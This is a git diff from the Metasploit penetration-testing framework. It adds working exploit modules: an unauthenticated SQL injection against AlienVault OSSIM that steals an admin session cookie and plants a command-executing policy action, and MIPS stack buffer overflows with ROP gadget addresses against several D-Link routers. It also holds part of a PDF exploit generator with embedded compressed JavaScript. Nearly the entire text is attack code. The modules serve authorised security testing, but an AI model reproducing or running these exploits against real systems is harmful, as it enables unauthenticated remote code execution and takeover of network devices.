IVA4oHyghlv/JeWURZf9l9VYRqo+pBeVT5YPkjtUQ9rP62Iqlie8WzyvTKDyt/rMqvOqAha0o0R7UcbaX2dLV9dUP1JZ2Xrks3WRNWs6lmRp+i31kL1S6pPWLg4T9TF4zuxpXGqbrIupG65/V59Yca2A3ahguNno1rGu81JTT9phltljefbHFsaW+ZWhazbEcr1FraerLNua2zbXp54vJd7dT2yvY/dfh19Hd8vyJ/xbFOu87lnXdXJq7c22XWpe+6sSp81fbV6Gr16ok1AWu2rHndrej+osevZ7Dnh1557xdrRWuH1v64rmzdRF9w37b1xPXa9dc3RG3Y1c/ub+q/uzFt4+EBbKB74PtNxZvODQYObt9M3WzcPDmU+k8ApAFb/pi4mSSZkJn8mmia1ZtCm6+cHJyJnPedZJ3SnkCerp8dn4uf+qBpoNihR6G2oiailqMGo3aj5qRWpMelOKWpphqmi6b9p26n4KhSqMSpN6mpqhyqj6sCq3Wr6axcrNCtRK24ri2uoa8Wr4uwALB1sOqxYLHWskuywrM4s660JbSctRO1irYBtnm28Ldot+C4WbjRuUq5wro7urW7LrunvCG8m70VvY++Db6Evv+/er/1wHDA7MFnwePCX8Lbw1jD1MRRxM7FS8XIxkbGw8dBx7/IPci8yTrJuco4yrfLNsu2zDXMtc01zbXONs62zzfPuNA50LrRPNG+0j/SwdNE08bUSdTL1U7V0dZV1tjXXNfg2GTY6Nls2fHadtr724DcBdyK3RDdlt4c3qLfKd+v4DbgveFE4cziU+Lb42Pj6+Rz5PzlhOYN5pbnH+ep6DLovOlG6dDqW+rl63Dr++yG7RHtnO4o7rTvQO/M8Fjw5fFy8f/yjPMZ86f0NPTC9VD13vZt9vv3ivgZ+Kj5OPnH+lf65/t3/Af8mP0p/br+S/7c/23//wIMAPeE8/sNZW5kc3RyZWFtDWHSVyg=") + add_compressed(38, "eJxNjbEOgjAYhJ+Ad/hHWPgplIoJaVIwaGIwRGsciAtYCFGLQx18e1vi4HDDXe6+8/IcBdAEIjiiaKw7QEqc4xw3wsedKmYgMcjBhmOAFVCsJBZGYzUAS9OEYb23u2LbkjCCn65YCr98TP0dnipA2QCxwAZitjwdVW/ayFajkBGasQwYIWGSUVitY7c+vTvzeSm8TLdRGZR+Z/SCqx3t/I92NaH1bDj3vvt1NZc=") + add_compressed(43, "eJzjtbHR9wpWMDFTMFAI0g/W90osSwxOLsosKLGz4wUAaC0Hzw==") + add_compressed(51, "eJxNjtEKgkAQRb9g/mG/wHHRTEF8kPCpyDIoEB/UJivQrXUF+/t2Y4seLnPhzj1ciGNMUzGXruMyo4Bzxwt9tozMXVSYCdkfXg9iHNc0dOrKAh83tZK3ueS2ZPTnK9zTKCbZ0qjxuRRtQarEfJVVSYLF1CjN+4DRkPG0be7UqiQZlaS6B8460CC7xQu/YziTBBd46gfOAjeyYRj9wiMMsAMazpb0BnLmPE4=") + + js = Zlib::Deflate.deflate(js) + add_object(46, "\x0d<>stream\x0d#{js}\x0dendstream\x0d") + + add_compressed(8, "eJzjtbHRd84vzStRMNR3yywqLlGwVDBQCNL3SYQzAxKLUoHy5mBOSGZJTqqGT35yYo6CS2ZxtqadHS8AmCkTkg==") + add_compressed(9, "eJzjtbHRd0ktLok2MlMwUAjSj4iMAtLmlkYKeaU5ObH6AYlFqXklChZgyWBXBUNTMCsksyQnVePff4YshmIGPYYShgqGEk07O14AWScVgw==") + add_compressed(17, "eJzjtbHR90vMTS2ONjZVMFAIUjAyAFGxdna8AF4CBlg=") + add_compressed(18, "eJzjtbHR90vMTS2ONrRUMFAIUjAyAFGxdna8AF4gBlo=") + add_compressed(19, "eJzj1UjLzEm10tfXd67RL0nNLdDPKtYrqSjR5AUAaRoIEQ==") + add_compressed(20, "eJzjtbHRdw7RKEmtKNEvyEnMzNPU93RRMDZVMFAI0vePNjIDMWL1g/WDA4DYU8HIECwTovHvP0MWQzGDHkMJQwVDiaZ+SLCGi5WRgaGJgbGxoaGhsampUZSmnR0vAOIUGEU=") + add_compressed(21, "eJzjtbHRdwxVMLRUMFAI0g8J1nCxMjIwNDEwNjY0NDQ2NTWK0rSz4wUAmbEH3g==") + add_compressed(39, "eJzjtbHRd0osTnXLzyvR90jNKUstyUxO1HXKz0nRd81Lzk/JzEtXMDFVMFAI0vdLzE0FqnHK1w8uTSqpLEjVDwEShmBSH2SAnR0vACeXGlQ=") + add_compressed(47, "eJzjtbHRd0osTnXLzyvR90jNKUstyUxO1HfNS85PycxLVzAxVTBQCNL3S8xNBUvrB5cmlVQWpOqHAAlDMKkP0mtnxwsAqd8Y1w==") + add_compressed(48, "eJzjtbHRd0osTnXLzyvRj0osSHPJzEtPSiwp1vdLzE0Firgk6QeXJpVUFqTqhwAJQzCpD1JuZ8cLAJhsFTA=") + add_compressed(45, "eJxNk81u2zAMx5+g75AnGJe0yFKgKGB0PgQYlsOaQzfswEi0LUSWUn1ky55+tJiovkQm+f+RFMXcPT3BV9N1FMgpir9WD3AIdCZQGLwDZYLKY2fpL2ifUClyCYbsegx5tJgT+N47OkIwrodkrKbF/SO8Z58ossvS4nENfcAzLZarDRyytZRAY99TuB76YIGsNadoItCoMQ5Arhyd9ZwYuoAqGW6nz8aWtJa69GEF0w8JRuNyhBOFNPgc0Wlpg9MfMFI1CnozhCzWh3/mLOkLngJqGjEcoTPcF3yLdupw18IPGdWbNjzE6Q4/xcEDsxSjAStSTxAl8q8ci+X6M7Q5eP54AJXD9AQXNtb8BP5I7oCBrQ3UxMqfLtKcD7ojvrBxPNcvK7C+Nwqt8wk+8Y+mDgL1JvJlSMOIqjREfSCCk81RZpX++Jh5YMYHSAPHqoUqJ4IxL5abeyg+PT19yaZIG2sR+N2rnvsZMapsS0ObzRR8zxiYmD4HtJ1UuDrjYvm4gqYsBjRSrZktW1NWCZp69aYsWNPCy618K3ArcDuD20ptRbMVzXam2VZNmwb4LuV2It+JfDeT766CSo3ZJnOyF9jJ4+4F3Qu6n6H7yrxJ8HXwgVeZwsg7erARUFiUMM5YlLJYU2AZA/Lf8zYGEpgEphlMlTKiMaIxM42pGuIxOCnnRe5F7mdyfxVUSpuzmRwyhCxgFjDPwFyJiwRTGcLl5v4Nr5cTv6JTnNv1z893/wElCbzZ") + add_compressed(23, "eJxNzLEKgzAQgOEn8B2ymVCqd4npUEQQXQsdCp0Tc4Ol9Ep6Qh+/gg7d/+8v2rYeMgWZ+TUGIT2eLWADziE65z0ewJYApdkqzrpPHEn1U+YYRCFWYOoLp3/sV2yxsacj+A1fM6dlolXv7k5RDeEtS6b9cZvlSfrxqeQrpuuKH+VYK70=") + + @xref_offset = @pdf.length + @pdf << xref_table << trailer(25) << startxref + + @pdf + end + +end diff --git a/modules/exploits/linux/ftp/proftp_sreplace.rb b/modules/exploits/linux/ftp/proftp_sreplace.rb index b8fa872f5c..db1b49a3fe 100644 --- a/modules/exploits/linux/ftp/proftp_sreplace.rb +++ b/modules/exploits/linux/ftp/proftp_sreplace.rb @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Evgeny Legerov ', # original .pm version (VulnDisco) + 'Evgeny Legerov ', # original .pm version (VulnDisco) 'jduck' # Metasploit 3.x port ], 'References' => diff --git a/modules/exploits/linux/http/alienvault_sqli_exec.rb b/modules/exploits/linux/http/alienvault_sqli_exec.rb new file mode 100644 index 0000000000..502fa8126b --- /dev/null +++ b/modules/exploits/linux/http/alienvault_sqli_exec.rb @@ -0,0 +1,356 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "AlienVault OSSIM SQL Injection and Remote Code Execution", + 'Description' => %q{ + This module exploits an unauthenticated SQL injection vulnerability affecting AlienVault + OSSIM versions 4.3.1 and lower. The SQL injection issue can be abused in order to retrieve an + active admin session ID. If an administrator level user is identified, remote code execution + can be gained by creating a high priority policy with an action containing our payload. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Sasha Zivojinovic', # SQLi discovery + 'xistence ' # Metasploit module + ], + 'References' => + [ + ['OSVDB', '106252'], + ['EDB', '33006'] + ], + 'DefaultOptions' => + { + 'SSL' => true, + 'WfsDelay' => 10 + }, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'Compat' => + { + 'RequiredCmd' => 'generic perl python', + } + }, + 'Targets' => + [ + ['Alienvault OSSIM 4.3', {}] + ], + 'Privileged' => true, + 'DisclosureDate' => "Apr 24 2014", + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(443), + OptString.new('TARGETURI', [true, 'The URI of the vulnerable Alienvault OSSIM instance', '/']) + ], self.class) + end + + + def check + marker = rand_text_alpha(6) + sqli_rand = rand_text_numeric(4+rand(4)) + sqli = "' and(select 1 from(select count(*),concat((select (select concat(0x#{marker.unpack('H*')[0]},Hex(cast(user() as char)),0x#{marker.unpack('H*')[0]})) " + sqli << "from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '#{sqli_rand}'='#{sqli_rand}" + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'geoloc', 'graph_geoloc.php'), + 'vars_get' => { 'date_from' => sqli } + }) + + if res && res.code == 200 && res.body =~ /#{marker}726F6F7440[0-9a-zA-Z]+#{marker}/ # 726F6F7440 = root + return Exploit::CheckCode::Vulnerable + else + print_status("#{res.body}") + return Exploit::CheckCode::Safe + end + + end + + + def exploit + marker = rand_text_alpha(6) + sqli_rand = rand_text_numeric(4+rand(4)) + sqli = "' and (select 1 from(select count(*),concat((select (select concat(0x#{marker.unpack('H*')[0]},Hex(cast(id as char)),0x#{marker.unpack('H*')[0]})) " + sqli << "from alienvault.sessions where login='admin' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '#{sqli_rand}'='#{sqli_rand}" + + print_status("#{peer} - Trying to grab admin session through SQLi") + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'geoloc', 'graph_geoloc.php'), + 'vars_get' => { 'date_from' => sqli } + }) + + if res && res.code == 200 && res.body =~ /#{marker}(.*)#{marker}/ + admin_session = $1 + @cookie = "PHPSESSID=" + ["#{admin_session}"].pack("H*") + print_status("#{peer} - Admin session cookie is [ #{@cookie} ]") + else + fail_with(Failure::Unknown, "#{peer} - Failure retrieving admin session") + end + + # Creating an Action containing our payload, which will be executed by any event (not only alarms) + action = rand_text_alpha(8+(rand(8))) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "ossim", "action", "modifyactions.php"), + 'cookie' => @cookie, + 'vars_post' => { + 'action' => 'new', + 'action_name' => action, + 'descr' => action, + 'action_type' => '2', + 'only' => 'on', + 'cond' => 'True', + 'exec_command' => payload.encoded + } + }) + + if res && res.code == 200 + print_status("#{peer} - Created Action [ #{action} ]") + else + fail_with(Failure::Unknown, "#{peer} - Action creation failed!") + end + + # Retrieving the Action ID, used to clean up the action after successful exploitation + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "ossim", "action", "getaction.php"), + 'cookie' => @cookie, + 'vars_post' => { + 'page' => '1', + 'rp' => '2000' + } + }) + + if res && res.code == 200 && res.body =~ /actionform\.php\?id=(.*)'>#{action}/ + @action_id = $1 + print_status("#{peer} - Action ID is [ #{@action_id} ]") + else + fail_with(Failure::Unknown, "#{peer} - Action ID retrieval failed!") + end + + # Retrieving the policy data, necessary for proper cleanup after succesful exploitation + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path.to_s, "ossim", "policy", "policy.php"), + 'cookie' => @cookie, + 'vars_get' => { + 'm_opt' => 'configuration', + 'sm_opt' => 'threat_intelligence', + 'h_opt' => 'policy' + } + }) + + if res && res.code == 200 && res.body =~ /getpolicy\.php\?ctx=(.*)\&group=(.*)',/ + policy_ctx = $1 + policy_group = $2 + print_status("#{peer} - Policy data [ ctx=#{policy_ctx} ] and [ group=#{policy_group} ] retrieved!") + else + fail_with(Failure::Unknown, "#{peer} - Retrieving Policy data failed!") + end + + # Creating policy which will be triggered by any source/destination + policy = rand_text_alpha(8+(rand(8))) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "ossim", "policy", "newpolicy.php"), + 'cookie' => @cookie, + 'vars_post' => { + 'descr' => policy, + 'active' => '1', + 'group' => policy_group, + 'ctx' => policy_ctx, + 'order' => '1', # Makes this the first policy, overruling all the other policies + 'action' => 'new', + 'sources[]' => '00000000000000000000000000000000', # Source is ANY + 'dests[]' => '00000000000000000000000000000000', # Destination is ANY + 'portsrc[]' => '0', # Any source port + 'portdst[]' => '0', # Any destination port + 'plug_type' => '1', # Taxonomy + 'plugins[0]' => 'on', + 'taxfilters[]' =>'20@13@118', # Product Type: Operating System, Category: Application, Subcategory: Web - Not Found + 'tax_pt' => '0', + 'tax_cat' => '0', + 'tax_subc' => '0', + 'mboxs[]' => '00000000000000000000000000000000', + 'rep_act' => '0', + 'rep_sev' => '1', + 'rep_rel' => '1', + 'rep_dir' => '0', + 'ev_sev' => '1', + 'ev_rel' => '1', + 'tzone' => 'Europe/Amsterdam', + 'date_type' => '1', + 'begin_hour' => '0', + 'begin_minute' => '0', + 'begin_day_week' => '1', + 'begin_day_month' => '1', + 'begin_month' => '1', + 'end_hour' => '23', + 'end_minute' => '59', + 'end_day_week' => '7', + 'end_day_month' => '31', + 'end_month' => '12', + 'actions[]' => @action_id, + 'sim' => '1', + 'priority' => '1', + 'qualify' => '1', + 'correlate' => '0', # Don't make any correlations + 'cross_correlate' => '0', # Don't make any correlations + 'store' => '0' # We don't want to store anything :) + } + }) + + if res && res.code == 200 + print_status("#{peer} - Created Policy [ #{policy} ]") + else + fail_with(Failure::Unknown, "#{peer} - Policy creation failed!") + end + + # Retrieve policy ID, needed for proper cleanup after succesful exploitation + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "ossim", "policy", "getpolicy.php"), + 'cookie' => @cookie, + 'vars_get' => { + 'ctx' => policy_ctx, + 'group' => policy_group + }, + 'vars_post' => { + 'page' => '1', + 'rp' => '2000' + } + }) + if res && res.code == 200 && res.body =~ /row id='(.*)' col_order='1'/ + @policy_id = $1 + print_status("#{peer} - Policy ID [ #{@policy_id} ] retrieved!") + else + fail_with(Failure::Unknown, "#{peer} - Retrieving Policy ID failed!") + end + + # Reload the policies to make our new policy active + print_status("#{peer} - Reloading Policies") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "ossim", "conf", "reload.php"), + 'cookie' => @cookie, + 'vars_get' => { + 'what' => 'policies', + 'back' => '../policy/policy.php' + } + }) + + if res && res.code == 200 + print_status("#{peer} - Policies reloaded!") + else + fail_with(Failure::Unknown, "#{peer} - Policy reloading failed!") + end + + # Request a non-existing page, which will trigger a SIEM event (and thus our payload), but not an alarm. + dont_exist = rand_text_alpha(8+rand(4)) + print_status("#{peer} - Triggering policy and action by requesting a non existing url") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, dont_exist), + 'cookie' => @cookie + }) + + if res and res.code == 404 + print_status("#{peer} - Payload delivered") + else + fail_with(Failure::Unknown, "#{peer} - Payload failed!") + end + + end + + + def cleanup + begin + # Clean up, retrieve token so that the policy can be removed + print_status("#{peer} - Cleaning up") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "ossim", "session", "token.php"), + 'cookie' => @cookie, + 'vars_post' => { 'f_name' => 'delete_policy' } + }) + + if res && res.code == 200 && res.body =~ /\{\"status\":\"OK\",\"data\":\"(.*)\"\}/ + token = $1 + print_status("#{peer} - Token [ #{token} ] retrieved") + else + print_warning("#{peer} - Unable to retrieve token") + end + + # Remove our policy + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "ossim", "policy", "deletepolicy.php"), + 'cookie' => @cookie, + 'vars_get' => { + 'confirm' => 'yes', + 'id' => @policy_id, + 'token' => token + } + }) + + if res && res.code == 200 + print_status("#{peer} - Policy ID [ #{@policy_id} ] removed") + else + print_warning("#{peer} - Unable to remove Policy ID") + end + + # Remove our action + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "ossim", "action", "deleteaction.php"), + 'cookie' => @cookie, + 'vars_get' => { + 'id' => @action_id, + } + }) + + if res && res.code == 200 + print_status("#{peer} - Action ID [ #{@action_id} ] removed") + else + print_warning("#{peer} - Unable to remove Action ID") + end + + # Reload the policies to revert back to the state before exploitation + print_status("#{peer} - Reloading Policies") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "ossim", "conf", "reload.php"), + 'cookie' => @cookie, + 'vars_get' => { + 'what' => 'policies', + 'back' => '../policy/policy.php' + } + }) + + if res && res.code == 200 + print_status("#{peer} - Policies reloaded!") + else + fail_with(Failure::Unknown, "#{peer} - Policy reloading failed!") + end + + ensure + super # mixins should be able to cleanup even in case of Exception + end + end + +end diff --git a/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb b/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb new file mode 100644 index 0000000000..4193a772b4 --- /dev/null +++ b/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb @@ -0,0 +1,134 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link authentication.cgi Buffer Overflow', + 'Description' => %q{ + This module exploits an remote buffer overflow vulnerability on several D-Link routers. + The vulnerability exists in the handling of HTTP queries to the authentication.cgi with + long password values. The vulnerability can be exploitable without authentication. This + module has been tested successfully on D-Link firmware DIR645A1_FW103B11. Other firmwares + such as the DIR865LA1_FW101b06 and DIR845LA1_FW100b20 are also vulnerable. + }, + 'Author' => + [ + 'Roberto Paleari', # Vulnerability discovery + 'Craig Heffner', # also discovered the vulnerability / help with some parts of this module + 'Michael Messner ', # Metasploit module and verification on several other routers + ], + 'License' => MSF_LICENSE, + 'Platform' => ['linux'], + 'Arch' => ARCH_MIPSLE, + 'References' => + [ + ['OSVDB', '95951'], + ['EDB', '27283'], + ['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008'], #advisory on vendor web site + ['URL', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000'], #vendor web site of router + ['URL', 'http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt'] #original advisory + ], + 'Targets' => + [ + [ 'D-Link DIR-645 1.03', + { + 'Offset' => 1011, + 'LibcBase' => 0x2aaf8000, #Router + #'LibcBase' => 0x40854000, # QEMU environment + 'System' => 0x000531FF, # address of system + 'CalcSystem' => 0x000158C8, # calculate the correct address of system + 'CallSystem' => 0x000159CC, # call our system + } + ] + ], + 'DisclosureDate' => 'Feb 08 2013', + 'DefaultTarget' => 0)) + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') + end + + def check + begin + res = send_request_cgi({ + 'uri' => "/authentication.cgi", + 'method' => 'GET' + }) + + if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /status.*uid/ + return Exploit::CheckCode::Detected + end + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Unknown + end + + Exploit::CheckCode::Unknown + end + + def exploit + print_status("#{peer} - Accessing the vulnerable URL...") + + unless check == Exploit::CheckCode::Detected + fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL") + end + + print_status("#{peer} - Exploiting...") + execute_cmdstager( + :flavor => :echo, + :linemax => 200, + :concat_operator => " && " + ) + end + + def prepare_shellcode(cmd) + shellcode = rand_text_alpha_upper(target['Offset']) # padding + shellcode << [target['LibcBase'] + target['System']].pack("V") # s0 - address of system + shellcode << rand_text_alpha_upper(16) # unused reg $s1 - $s4 + shellcode << [target['LibcBase'] + target['CallSystem']].pack("V") # s5 - second gadget (call system) + + # .text:000159CC 10 00 B5 27 addiu $s5, $sp, 0x170+var_160 # get the address of our command into $s5 + # .text:000159D0 21 28 60 02 move $a1, $s3 # not used + # .text:000159D4 21 30 20 02 move $a2, $s1 # not used + # .text:000159D8 21 C8 00 02 move $t9, $s0 # $s0 - system + # .text:000159DC 09 F8 20 03 jalr $t9 # call system + # .text:000159E0 21 20 A0 02 move $a0, $s5 # our cmd -> into a0 as parameter for system + + shellcode << rand_text_alpha_upper(12) # unused registers $s6 - $fp + shellcode << [target['LibcBase'] + target['CalcSystem']].pack("V") # $ra - gadget nr 1 (prepare the parameter for system) + + # .text:000158C8 21 C8 A0 02 move $t9, $s5 # s5 - our second gadget + # .text:000158CC 09 F8 20 03 jalr $t9 # jump the second gadget + # .text:000158D0 01 00 10 26 addiu $s0, 1 # s0 our system address - lets calculate the right address + + shellcode << rand_text_alpha_upper(16) # filler in front of our command + shellcode << cmd + end + + def execute_command(cmd, opts) + shellcode = prepare_shellcode(cmd) + uid = rand_text_alpha(4) + begin + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => "/authentication.cgi", + 'cookie' => "uid=#{uid}", + 'encode_params' => false, + 'vars_post' => { + 'uid' => uid, + 'password' => rand_text_alpha(3) + shellcode, + } + }) + return res + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end + end +end diff --git a/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb b/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb index 718bc25350..ecf3e45d65 100644 --- a/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb b/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb index 4928510332..55368e3c2a 100644 --- a/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/linux/http/dlink_dir615_up_exec.rb b/modules/exploits/linux/http/dlink_dir615_up_exec.rb index a4bb691c6e..6781609aba 100644 --- a/modules/exploits/linux/http/dlink_dir615_up_exec.rb +++ b/modules/exploits/linux/http/dlink_dir615_up_exec.rb @@ -28,7 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/linux/http/dlink_dspw215_info_cgi_bof.rb b/modules/exploits/linux/http/dlink_dspw215_info_cgi_bof.rb new file mode 100644 index 0000000000..e20e9deb2f --- /dev/null +++ b/modules/exploits/linux/http/dlink_dspw215_info_cgi_bof.rb @@ -0,0 +1,131 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link info.cgi POST Request Buffer Overflow', + 'Description' => %q{ + This module exploits an anonymous remote code execution vulnerability on different D-Link + devices. The vulnerability is an stack based buffer overflow in the my_cgi.cgi component, + when handling specially crafted POST HTTP requests addresses to the /common/info.cgi + handler. This module has been successfully tested on D-Link DSP-W215 in an emulated + environment. + }, + 'Author' => + [ + 'Craig Heffner', # vulnerability discovery and initial PoC + 'Michael Messner ', # Metasploit module + ], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSBE, + 'References' => + [ + ['OSVDB', '108249'], + ['URL', 'http://www.devttys0.com/2014/05/hacking-the-dspw215-again/'] # blog post from Craig including PoC + ], + 'Targets' => + [ + # + # Automatic targeting via fingerprinting + # + [ 'Automatic Targeting', { 'auto' => true } ], + [ 'D-Link DSP-W215 - v1.02', + { + 'Offset' => 477472, + 'Ret' => 0x405cec # jump to system - my_cgi.cgi + } + ] + ], + 'DisclosureDate' => 'May 22 2014', + 'DefaultTarget' => 0)) + + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') + end + + def check + begin + res = send_request_cgi({ + 'uri' => "/common/info.cgi", + 'method' => 'GET' + }) + + if res && [200, 301, 302].include?(res.code) + if res.body =~ /DSP-W215A1/ && res.body =~ /1.02/ + @my_target = targets[1] if target['auto'] + return Exploit::CheckCode::Appears + end + + return Exploit::CheckCode::Detected + end + + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Safe + end + + Exploit::CheckCode::Unknown + end + + def exploit + print_status("#{peer} - Trying to access the vulnerable URL...") + + @my_target = target + check_code = check + + unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears + fail_with(Failure::NoTarget, "#{peer} - Failed to access the vulnerable URL") + end + + if @my_target.nil? || @my_target['auto'] + fail_with(Failure::NoTarget, "#{peer} - Failed to auto detect, try setting a manual target...") + end + + print_status("#{peer} - Exploiting #{@my_target.name}...") + execute_cmdstager( + :flavor => :echo, + :linemax => 185 + ) + end + + def prepare_shellcode(cmd) + buf = rand_text_alpha_upper(@my_target['Offset']) # Stack filler + buf << [@my_target.ret].pack("N") # Overwrite $ra -> jump to system + + # la $t9, system + # la $s1, 0x440000 + # jalr $t9 ; system + # addiu $a0, $sp, 0x28 # our command + + buf << rand_text_alpha_upper(40) # Command to execute must be at $sp+0x28 + buf << cmd # Command to execute + buf << "\x00" # NULL terminate the command + end + + def execute_command(cmd, opts) + shellcode = prepare_shellcode(cmd) + + begin + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => "/common/info.cgi", + 'encode_params' => false, + 'vars_post' => { + 'storage_path' => shellcode, + } + }, 5) + return res + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end + end +end diff --git a/modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb b/modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb new file mode 100644 index 0000000000..9752d22b0c --- /dev/null +++ b/modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb @@ -0,0 +1,132 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link hedwig.cgi Buffer Overflow in Cookie Header', + 'Description' => %q{ + This module exploits an anonymous remote code execution vulnerability on several D-Link + routers. The vulnerability exists in the handling of HTTP queries to the hedwig.cgi with + long value cookies. This module has been tested successfully on D-Link DIR300v2.14, DIR600 + and the DIR645A1_FW103B11 firmware. + }, + 'Author' => + [ + 'Roberto Paleari', # Vulnerability discovery + 'Craig Heffner', # also discovered the vulnerability / help with some parts of this exploit + 'Michael Messner ', # Metasploit module and verification on several other routers + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['OSVDB', '95950'], + ['EDB', '27283'], + ['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008'], #advisory on vendor web site + ['URL', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000'], #vendor web site of router + ['URL', 'http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt'] #original advisory + ], + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSLE, + 'Targets' => + [ + [ 'Multiple Targets: D-Link DIR-645 v1.03, DIR-300 v2.14, DIR-600', + { + 'Offset' => 973, + 'LibcBase' => 0x2aaf8000, # Router + #'LibcBase' => 0x40854000, # QEMU environment + 'System' => 0x000531FF, # address of system + 'CalcSystem' => 0x000158C8, # calculate the correct address of system + 'CallSystem' => 0x000159CC, # call our system + } + ] + ], + 'DisclosureDate' => 'Feb 08 2013', + 'DefaultTarget' => 0)) + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') + end + + def check + begin + res = send_request_cgi({ + 'uri' => "/hedwig.cgi", + 'method' => 'GET' + }) + + if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /unsupported HTTP request/ + return Exploit::CheckCode::Detected + end + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Unknown + end + + Exploit::CheckCode::Unknown + end + + def exploit + print_status("#{peer} - Accessing the vulnerable URL...") + + unless check == Exploit::CheckCode::Detected + fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL") + end + + print_status("#{peer} - Exploiting...") + execute_cmdstager( + :flavor => :echo, + :linemax => 200, + :concat_operator => " && " + ) + end + + def prepare_shellcode(cmd) + shellcode = rand_text_alpha_upper(target['Offset']) # padding + shellcode << [target['LibcBase'] + target['System']].pack("V") # s0 - address of system + shellcode << rand_text_alpha_upper(16) 